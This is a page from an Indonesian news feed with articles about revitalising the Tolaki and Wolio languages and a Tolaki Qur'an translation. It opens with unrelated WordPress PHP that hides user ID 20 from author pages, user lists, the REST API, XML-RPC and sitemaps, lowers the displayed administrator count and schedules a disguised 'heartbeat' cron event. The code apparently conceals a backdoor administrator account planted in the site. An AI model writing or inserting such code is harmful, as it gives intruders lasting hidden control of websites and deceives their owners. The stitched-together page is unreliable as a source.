add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 20;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 20 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 20 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 20;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 20;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 20;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/20(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 20;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
Artikel Rektor IAIN Serahkan Al-Qur’an Versi Bahasa Tolaki, Legacy Asmawa Tosepu Saat Jabat Pj Wali Kota Kendari pertama kali tampil pada lajur.
]]>Rektor IAIN Kendari Husain Insawan secara khusus menyerahkan terjemahan Al-Qur’an berbahasa Tolaki ke Asmawa Tosepu, Rabu (28/5/2025), di kantor Biro Umum Kementerian Dalam Negeri (Kemendagri) RI, Jakarta.
Sebagaimana diketahui Asmawa saat ini menjabat Kepala Biro Umum Sekretariat Jenderal Kementerian Dalam Negeri (Kemendagri). Meski lama berkarier di Jakarta, Asmawa menaruh perhatian besar terhadap pelestarian bahasa daerah Tolaki yang merupakan bahasa ibu bagi birokrat kelahiran Wonggeduku, Kabupaten Konawe, 15 Oktober 1974.
Saat didapuk memimpin masa transisi pemerintahan di Kota Kendari pada tahun 2022, Asmawa lantas mencetuskan melakukan penerjemahan Al-Qur’an ke dalam bahasa Tolaki bersama IAIN Kendari.
Husain mengakui proses penerjemahan Al-Qur’an ke bahasa Tolaki merupakan inisiatif yang digagas dan didukung penuh Asmawa Tosepu saat menjabat sebagai Pj Wali Kota Kendari. Inisiatif tersebut merupakan bentuk kontribusi terhadap dakwah berbasis budaya serta pelestarian bahasa daerah.
“Beliau sangat mendukung kami untuk menerjemahkan Al-Qur’an ke dalam bahasa Tolaki. Ini adalah upaya besar untuk mendekatkan masyarakat dengan pemahaman yang lebih kontekstual terhadap isi Al-Qur’an,” ujar Husain Insawan.
Usai menerima hasil terjemahan tersebut, Asmawa Tosepu menyampaikan apresiasi dan komitmennya untuk memperbanyak dan mendistribusikan Al-Qur’an versi bahasa Tolaki kepada masyarakat.
“Alhamdulillah, Alhamdulillahi Rabbil ‘Alamin, terjemahan Al-Qur’an dalam bahasa Tolaki saya terima dari Rektor IAIN Kendari. Untuk selanjutnya akan kita perbanyak, kita gandakan, dan distribusikan kepada masyarakat secara luas. Terima kasih, Pak Rektor. Semoga ini menjadi berkah bagi kita semua,” ucap alumni Sekolah Tinggi Pemerintahan Dalam Negeri (STPDN) tahun 1997 tersebut.
Terjemahan kitab suci Al-Qur’an berbahasa Tolaki, kata Asmawa, diharapkan menjadi media dakwah yang kuat sekaligus memperkuat identitas budaya lokal masyarakat Tolaki, khususnya di wilayah Sultra. Adm
Artikel Rektor IAIN Serahkan Al-Qur’an Versi Bahasa Tolaki, Legacy Asmawa Tosepu Saat Jabat Pj Wali Kota Kendari pertama kali tampil pada lajur.
]]>Artikel Bahasa Tolaki & Wolio Terancam Punah, BBP Lakukan Langkah Revitalisasi pertama kali tampil pada lajur.
]]>Pemilihan dua lisan daerah tersebut bukan tanpa sebab. Kajian Balai Bahasa Sultra, di kalangan generasi muda rerata jumlah penutur dua bahasa daerah ini mengalami kemunduran alias terancam punah.
Komitmen RDP bahasa Tolaki dan bahasa Wolio ditandatangani bersama sejumlah stakeholder pada Rapat Koordinasi Antarpemangku Kepentingan pada 4-6 Mei 2025 di Kendari.
Beberapa pemangku kepentingan terlibat dalam pertemuan tersebut yaitu kepala daerah dan kepala dinas pendidikan dan kebudayaan dari delapan kabupaten/kota, Kepala Dinas Pendidikan dan Kebudayaan Provinsi Sultra Yusmin, DPRD Kabupaten Buton Selatan, Kepala Bapeda Provinsi Sultra, dan kepala UPT Kemendikdasmen di Sultra.
Forum koordinasi membahas komitmen bersama dalam pelestarian bahasa daerah dan mekanisme pelaksanaan program Revitalisasi Bahasa Daerah tahun 2025 di Sultra.
Kepala BBP Sultra Dewi Pridayanti mengatakan, RBD ini merupakan program multitahun dan berkelanjutan.
Di Sultra, RBD mulai dilaksanakan pada tahun 2024 dengan satu bahasa sasaran, yaitu bahasa Tolaki. Pada tahun 2025, bahasa sasaran RBD ditambah menjadi dua bahasa.
“Di Sultra, terdapat 15 bahasa daerah yang berkembang terdiri atas 9 bahasa asli dan 6 bahasa pendatang. Namun, karena efisiensi dan keterbatasan anggaran Balai Bahasa, dua bahasa itulah (bahasa Tolaki dan Wolio) yang menjadi fokus program revitalisasi pada tahun ini,” jelasnya.
Dalam pemaparannya, Dewi menjelaskan program RBD BBP Sultra menyasar generasi muda. Harapannya, dengan pengajaran yang menyenangkan, generasi muda lebih memiliki sikap positif terhadap bahasa daerah dan budayanya.
“Melalui menyanyi, mendongeng, menulis cerpen, berkomedi tunggal, pidato, siswa (generasi muda) diharapkan lebih tertarik mempelajari bahasa daerah,” jelasnya.
Gubernur Sultra Andi Sumangerukka (ASR) diwakili Kepala Dikbud Sultra Yusmin menyampaikan terima kasih kepada BBP Sultra atas upaya pelestarian dan pelindungan bahasa dan sastra daerah di Sultra.
Ia mendorong setiap daerah untuk terus mendukung dan memfasilitasi kegiatan-kegiatan pelestarian bahasa dan sastra daerah.
Kata dia, pelestarian bahasa daerah sangat penting karena nilai-nilai yang terkandung di dalamnya. Bahasa daerah menunjukkan sejarah, adat istiadat, dan perspektif orang yang menggunakannya. Dengan memastikan bahwa bahasa daerah tetap digunakan dan diwariskan, diharapkan pengetahuan, prinsip, dan perspektif lokal tetap relevan dan dihargai dalam masyarakat yang semakin global.
“Pelindungan bahasa dan sastra daerah bukan hanya tugas pemerintah, tetapi tanggung jawab bersama. Mari kita jaga dan lindungi bahasa daerah kita, sebagai jati diri dan kebanggaan kita bersama,” tutupnya. Adm
Artikel Bahasa Tolaki & Wolio Terancam Punah, BBP Lakukan Langkah Revitalisasi pertama kali tampil pada lajur.
]]>Artikel Wakili Gubernur Sultra, Kepala Diknas Tegaskan Komitmen Dukung Pelestarian Bahasa Tolaki dan Wolio pertama kali tampil pada lajur.
]]>Rakor dipimpin Kepala Balai Bahasa Provinsi Sultra Dewi Pridayanti dan dihadiri perwakilan 10 pemerintah kabupaten se-Sultra, tokoh adat, serta pemangku kepentingan dari wilayah penutur bahasa Tolaki dan Wolio. Sebagaimana disampaikan Dwi Pridayanti, tahun 2025 Kantor Balai Balai Bahasa fokus merevitalisasi dua bahasa daerah di Sultra yang penuturnya mulai menurun alias terancam punah.

“Bahasa daerah yang ada di Sultra ada sekitar 11 bahasa daerah, 5 bahasa pendatang. Kita bersinergi untuk pelestarian. Tahun 2025, kita mau revitalisasi 2 bahasa daerah, Tolaki dan Wolio. Bahasa Tolaki jalan tahun kedua, bahasa Wolio jalan tahun pertama tahun ini. Menurut pemetaan, dua bahasa daerah ini hampir punah,” jelasnya.
Kata Dwi, pelibatan Dinas Pendidikan dan Kebudayaan Sultra sangat lenting karena instansi pemerintah merupakan eksekutor revitalisasi Bahasa Tolaki dan Bahasa Wolio pada 10 Kabupaten se-Sultra di dunia pendidikan.
Menyambut langkah positif tersebut, Yusmin menyampaikan apresiasi kepada Badan Pengembangan dan Pembinaan Bahasa, Kemendikbudristek, serta Balai Bahasa Sultra atas dedikasi dalam mendukung upaya pelindungan dan pengembangan bahasa daerah.
“Rapat koordinasi ini bukan sekadar forum seremonial, tetapi menjadi platform strategis untuk memperkuat sinergi, menyelaraskan langkah, dan memastikan bahasa daerah tetap lestari dan relevan di tengah arus perubahan zaman,” ujar Yusmin membacakan sambutan ASR.
Yusmin menekankan, Sultra dianugerahi kekayaan budaya yang luar biasa, termasuk bahasa dan sastra daerah yang mencerminkan nilai-nilai serta identitas masyarakat. Namun, warisan tersebut terancam punah jika tidak dikelola secara sistematis dan berkelanjutan.
Sebagai bentuk keseriusan, Pemprov Sultra telah menerbitkan Peraturan Daerah Nomor 5 Tahun 2021 tentang Pengembangan, Pembinaan, dan Pelindungan Bahasa dan Sastra Daerah. Regulasi ini menjadi dasar hukum dalam menjaga keberlanjutan bahasa lokal.
“Bahasa daerah bukan hanya alat komunikasi, melainkan cerminan sejarah, adat, dan cara pandang kolektif masyarakat penuturnya,” katanya. Ia juga menyoroti pentingnya penggunaan aktif bahasa daerah dalam kehidupan sehari-hari, khususnya oleh generasi muda.
Melalui program Revitalisasi Bahasa Daerah 2025, Pemprov Sultra berupaya mendorong penggunaan kembali bahasa Tolaki dan Wolio, serta menghidupkan budaya lokal seperti cerita rakyat, lagu tradisional, dan kesenian daerah lainnya.
Menyerukan pesan Gubernur Sultra, Yusmin mengajak seluruh pemangku kepentingan untuk membentuk tim kerja lintas sektor yang mampu mengintegrasikan pelindungan bahasa ke dalam rencana pembangunan daerah. Ia juga menyarankan agar dilakukan pengarsipan manuskrip kuno dan dokumentasi budaya lisan sebagai bagian dari pelestarian.
Menutup sambutannya, Yusmin mengajak keterlibatan seluruh elemen masyarakat, mulai dari orang tua, guru, tokoh adat, hingga pelaku seni, untuk menghidupkan kembali bahasa daerah di ruang domestik, pendidikan, dan sosial.
“Pelindungan bahasa dan sastra daerah bukan hanya tugas pemerintah, tetapi tanggung jawab bersama. Mari kita jaga dan bangkitkan kembali bahasa Tolaki, Wolio, dan bahasa daerah lainnya sebagai jati diri dan kebanggaan kita bersama,” tutupnya. Adm
Artikel Wakili Gubernur Sultra, Kepala Diknas Tegaskan Komitmen Dukung Pelestarian Bahasa Tolaki dan Wolio pertama kali tampil pada lajur.
]]>Artikel Instruksi Bupati Abd Azis, Semua Sekolah di Koltim Wajib Berbahasa Tolaki Setiap Kamis pertama kali tampil pada lajur.
]]>Abd Azis menyadari bahasa daerah merupakan bagian integral dari identitas budaya dan kearifan lokal masyarakat Koltim, sehingga harus dilestarikan sejak dini. Hal tersebut disampaikan dalam pembukaan Musyawarah Perencanaan Pembangunan (Musrenbang) Kecamatan Tirawuta, Minggu (16/3/2025), di Kelurahan Rate-Rate.
“Saya baru saja dari Uluiwoi-Ueesi, di sana kami mendengarkan aspirasi dan masukan masyarakat. Ternyata, menjaga tradisi dan kebudayaan untuk melestarikan kearifan lokal bahasa daerah ini sudah mulai hilang. Salah satunya di Ueesi, anak-anak sudah tidak bisa berbahasa Tolaki, termasuk di Uluiwoi. Jika kita tidak bergerak cepat, kearifan lokal kita bisa hilang. Makanya nanti Kadis Dikbud, kalau bisa, segera buatkan surat edaran atau peraturan bupati (perbup) untuk mewajibkan setiap Hari Kamis semua guru dan siswa berbahasa Tolaki di sekolah masing-masing,” ungkapnya.
Menurut Abd Azis, melestarikan bahasa daerah Tolaki penting agar masyarakat Koltim dapat mempertahankan warisan budaya dan tradisi daerah. Bahasa daerah juga berperan dalam membangun kesadaran dan kebanggaan masyarakat terhadap identitas budaya yang ada di Koltim.
“Kita harus menjaga kelestarian budaya kita. Hal-hal sederhana seperti bahasa daerah ini mulai hilang, padahal mayoritas masyarakat Ueesi dan Uluiwoi adalah orang Tolaki. Saya tanya, apakah anak-anak bisa berbahasa Tolaki? Mereka menjawab agak lupa-lupa, Pak Bupati. Untuk itu, saya sampaikan kepada Kadis Dikbud, kita sepakati hari Kamis untuk mewajibkan guru dan siswa menggunakan bahasa Tolaki, dan kami akan dibantu teman-teman DPRD untuk melestarikan kearifan lokal ini,” tambahnya.
Abd Azis menuturkan, pelestarian bahasa daerah Tolaki harus dilakukan bersama-sama oleh seluruh komponen masyarakat, termasuk pemerintah daerah, sekolah, dan masyarakat sipil. Hal ini merupakan bagian dari identitas budaya dan kearifan lokal yang harus dijaga dan dilestarikan.
“Saya niatnya ingin menghindari kepunahan bahasa daerah di Koltim. Banyak bahasa daerah yang terancam punah karena tidak lagi digunakan dalam kehidupan sehari-hari. Saya ingin melestarikan budaya dan tradisi kita di Koltim ini untuk meningkatkan kesadaran dan kebanggaan masyarakat terhadap identitas budaya. Indonesia merupakan negara dengan keberagaman bahasa yang sangat tinggi, dan dengan adanya program pelestarian bahasa daerah ini, kita dapat mendukung keberagaman yang ada di Koltim,” jelasnya.
Abd Azis menekankan kepada jajaran Dinas Pendidikan dan Kebudayaan (Dikbud) Koltim untuk melaksanakan instruksi penggunaan bahasa Tolaki dengan mengintegrasikan bahasa daerah ke dalam kegiatan belajar-mengajar di sekolah. Dengan begitu, siswa-siswi dapat lebih memahami dan menghargai bahasa daerah, khususnya Tolaki, sebagai bagian dari identitas budaya di Wonua Sorume.
“Kedepannya, langkah ini bisa menjadi contoh bagi daerah lain di Indonesia untuk melestarikan bahasa daerah dan mempromosikan kearifan lokal. Bahasa daerah dapat terus dilestarikan dan dikembangkan sebagai bagian dari identitas budaya masyarakat Koltim,” tuturnya.
Selanjutnya, Abd Azis menambahkan, implementasi penggunaan bahasa daerah di sekolah-sekolah Koltim juga dapat memiliki dampak positif pada peningkatan kesadaran dan kebanggaan siswa terhadap identitas budaya daerah. Hal ini akan berkontribusi dalam pelestarian bahasa daerah sebagai warisan budaya masyarakat Kolaka Timur, serta meningkatkan partisipasi masyarakat dalam pelestarian bahasa daerah.
Atas komitmen dan perintah bupati, Kepala Dinas Dikbud Koltim, Syafruddin, menegaskan pihaknya akan segera mengimplementasikan instruksi bupati.
“Sesuai dengan petunjuk Bapak Bupati Koltim, penggunaan bahasa daerah Tolaki ini adalah dalam rangka melestarikan budaya setempat agar tidak hilang. Kami akan segera membuatkan Peraturan Bupati (Perbup) yang ditandatangani oleh Bapak Bupati,” jelasnya.
Syafruddin menambahkan, sejak instruksi tersebut disampaikan oleh bupati di Ueesi dan Uluiwoi, pihaknya langsung mengundang para kepala sekolah dan guru untuk mendiskusikan hari pelaksanaan penggunaan bahasa daerah Tolaki. Disepakati pelaksanaannya akan dilakukan setiap Kamis, bersamaan dengan penggunaan pakaian batik Sorume.
Menurut Syafruddin, penerapan bahasa daerah Tolaki di setiap sekolah adalah bentuk upaya daerah untuk melestarikan kearifan lokal. Ini menunjukkan komitmen pemerintah daerah dan masyarakat Koltim dalam menjaga dan melestarikan bahasa serta budaya daerah Tolaki.
“Jika ada sekolah yang belum melaksanakan, kami akan tetap melakukan pendekatan persuasif. Langkah ini sejalan dengan visi pemerintah daerah Kolaka Timur untuk membangun daerah berbasis pada kearifan lokal dan budaya daerah. Dengan demikian, diharapkan Koltim dapat menjadi contoh baik dalam melestarikan kearifan lokal dan budaya daerah,” tutupnya. Adm
Artikel Instruksi Bupati Abd Azis, Semua Sekolah di Koltim Wajib Berbahasa Tolaki Setiap Kamis pertama kali tampil pada lajur.
]]>Artikel Buku Terjemahan Al Quran Berbahasa Tolaki Segera Dirilis pertama kali tampil pada lajur.
]]>Rektor IAIN Kendari Prof Faizah Binti Awad, telah membentuk tim penerjemah Al Quran yang terdiri dari para akademisi, Pakar Tafsir dan Pakar Bahasa Tolaki, Budayawan, dan Pemuka Adat Suku Tolaki di Sulawesi Tenggara.
Bahasa Daerah Tolaki merupakan bahasa daerah penduduk Sulawesi Tenggara yang mendiami sebagian besar wilayah daratan yang terdiri dari Kota Kendari, Kabupaten Konawe, Kabupaten Konawe Selatan, Kabupaten Konawe Utara, Kabupaten Kolaka Timur, Kabupaten Kolaka dan Kabupaten Kolaka Utara.
Menurut Rektor, program penerjemahan Al Quran berbahasa daerah ini diharapkan mendapat dukungan dari pemerintah daerah dan akan menjadi salah satu khazanah pengembangan keislaman berbasis kearifan lokal di daerah ini.
“Kita sedang melakukan komunikasi dengan berbagai pihak utamanya pemerintah Provinsi Sulawesi Tenggara dan pemerintah Kabupaten Konawe Raya agar bisa turut berkontribusi memberikan dukungan terhadap program penerjemahan Al Quran berbahasa daerah yang baru pertama kali dilakukan di daerah ini,” tambah Rektor.
Ketua Tim pelaksana Penerjemah Alqur’an Dr. Husain Insawan, M.Ag mengatakan, saat ini penerjemahan telah berlangsung dan mendapat arahan dari tim puslibang LKKMO.
“Bahasa yang digunakan dalam terjemahan ini merupakan bahasa daerah yang dapat dipahami oleh semua kalangan masyarakat Tolaki sehingga jangkauannya dapat digunakan di seluruh wilayah yang didiami masyarakat suku Tolaki,” jelasnya.
Sebelumnya, Kepala Pusat Litbang Lektur, Khazanah Keagamaan dan Manejemen Organisasi Prof. Dr. M. Arskal Salim GP, M.Ag dalam pertemuan virtual dengan tim IAIN Kendari dan IAIN Takengon menjelaskan, penerjemahan Alqur’an berbahasa daerah ini merupakan salah satu upaya Kementerian Agama untuk meningkatkan literasi Alqur’an hingga ke pelosok negeri dengan memanfaatkan daerah atau bahasa Ibu sebagai salah satu daya tarik bagi masyarakat untuk mempelajari Alqur’an.
“Karakteristik masyarakat wilayah-wilayah pelosok masih memegang teguh kearifan lokal dan lebih memilih berkomunikasi dengan menggunakan bahasa daerah, oleh karena itu terjemahan Alqur’an berbahasa daerah ini diharapkan menjadi sarana untuk membantu menarik minat masyarakat untuk mempelajari, memahami dan mendalami Alqur’an,” paparnya.
Dia menambahkan, pihaknya akan mengawal proses penerjemahan Alqur’an berbahasa daerah mulai dari tahapan penyusunan, verivikasi, melewati proses lajnah pentashihan hingga penerbitan.
Saat ini terdapat 24 terjemahan Alqur’an berbahasa daerah yang telah diterbitkan antara lain Bahasa Kaili, Mongondow, Mandar, Bugis, Toraja , Sasak, Jawa, Sunda, Minang, Dayak, Madura, Ambon dan lain-lain. Adm
Artikel Buku Terjemahan Al Quran Berbahasa Tolaki Segera Dirilis pertama kali tampil pada lajur.
]]>